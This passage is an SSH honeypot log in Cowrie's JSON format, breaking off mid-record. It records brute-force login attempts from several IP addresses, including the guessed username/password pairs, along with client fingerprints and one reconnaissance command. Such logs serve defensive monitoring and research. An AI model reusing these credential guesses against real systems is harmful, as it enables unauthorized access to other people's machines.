{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:40.184762Z","src_ip":"103.27.238.120","session":"0cdc6ed4fd27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"888888q","message":"login attempt [root/888888q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:41.024664Z","src_ip":"103.27.238.120","session":"0cdc6ed4fd27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":17470,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fe5bace5365","protocol":"ssh","message":"New connection: 45.153.34.195:17470 (10.17.0.5:22) [session: 1fe5bace5365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:41.342180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:41.346788Z","src_ip":"45.153.34.195","session":"1fe5bace5365","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:41.429743Z","src_ip":"45.153.34.195","session":"1fe5bace5365","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:41.796929Z","src_ip":"45.153.34.195","session":"1fe5bace5365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:42.305680Z","src_ip":"103.27.238.120","session":"0cdc6ed4fd27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:42.880655Z","src_ip":"45.153.34.195","session":"1fe5bace5365","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:43.757049Z","src_ip":"91.92.40.36","session":"ab888a34929b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:43.760551Z","src_ip":"91.92.40.36","session":"ab888a34929b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":16740,"dst_ip":"10.17.0.5","dst_port":22,"session":"b45a1f168279","protocol":"ssh","message":"New connection: 45.153.34.195:16740 (10.17.0.5:22) [session: b45a1f168279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:44.202686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:44.210656Z","src_ip":"45.153.34.195","session":"b45a1f168279","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:44.312953Z","src_ip":"45.153.34.195","session":"b45a1f168279","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"P@ssw0rd","message":"login attempt [zabbix/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:44.606703Z","src_ip":"45.153.34.195","session":"b45a1f168279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:45.688980Z","src_ip":"45.153.34.195","session":"b45a1f168279","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":16744,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c6e884fa35a","protocol":"ssh","message":"New connection: 45.153.34.195:16744 (10.17.0.5:22) [session: 8c6e884fa35a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:46.738289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:46.921741Z","src_ip":"45.153.34.195","session":"8c6e884fa35a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:46.924423Z","src_ip":"45.153.34.195","session":"8c6e884fa35a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lin","password":"123456","message":"login attempt [lin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:47.476339Z","src_ip":"45.153.34.195","session":"8c6e884fa35a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22496,"dst_ip":"159.203.135.109","dst_port":22,"session":"3756ac4a5fef","protocol":"ssh","message":"New connection: 91.92.40.36:22496 (159.203.135.109:22) [session: 3756ac4a5fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:47.623726Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:47.798014Z","src_ip":"91.92.40.36","session":"1e16e9df5cd3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:47.800804Z","src_ip":"91.92.40.36","session":"1e16e9df5cd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:48.586323Z","src_ip":"45.153.34.195","session":"8c6e884fa35a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":16758,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b6c34e1faea","protocol":"ssh","message":"New connection: 45.153.34.195:16758 (10.17.0.5:22) [session: 6b6c34e1faea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:49.586426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:49.590789Z","src_ip":"45.153.34.195","session":"6b6c34e1faea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:49.671992Z","src_ip":"45.153.34.195","session":"6b6c34e1faea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yun@wocloud.szkj","message":"login attempt [root/Yun@wocloud.szkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:49.920785Z","src_ip":"45.153.34.195","session":"6b6c34e1faea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:51.004777Z","src_ip":"45.153.34.195","session":"6b6c34e1faea","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:51.500316Z","src_ip":"91.92.40.36","session":"3756ac4a5fef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:51.503422Z","src_ip":"91.92.40.36","session":"3756ac4a5fef","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"4.0","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:51.752077Z","src_ip":"91.92.40.36","session":"1e16e9df5cd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.8","message":"Connection lost after 31.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:51.756341Z","src_ip":"91.92.40.36","session":"1e16e9df5cd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123mudar","message":"login attempt [ubuntu/123mudar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:51.762537Z","src_ip":"91.92.40.36","session":"9edbd6ce667b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":38500,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fd9a4402a56","protocol":"ssh","message":"New connection: 45.153.34.195:38500 (10.17.0.5:22) [session: 7fd9a4402a56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:52.295080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:52.302279Z","src_ip":"45.153.34.195","session":"7fd9a4402a56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:52.379805Z","src_ip":"45.153.34.195","session":"7fd9a4402a56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123123123","message":"login attempt [deploy/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:52.698969Z","src_ip":"45.153.34.195","session":"7fd9a4402a56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:53.783415Z","src_ip":"45.153.34.195","session":"7fd9a4402a56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":54872,"dst_ip":"159.203.135.109","dst_port":22,"session":"54af2e25857b","protocol":"ssh","message":"New connection: 103.77.175.15:54872 (159.203.135.109:22) [session: 54af2e25857b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:53.938003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:53.943049Z","src_ip":"103.77.175.15","session":"54af2e25857b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-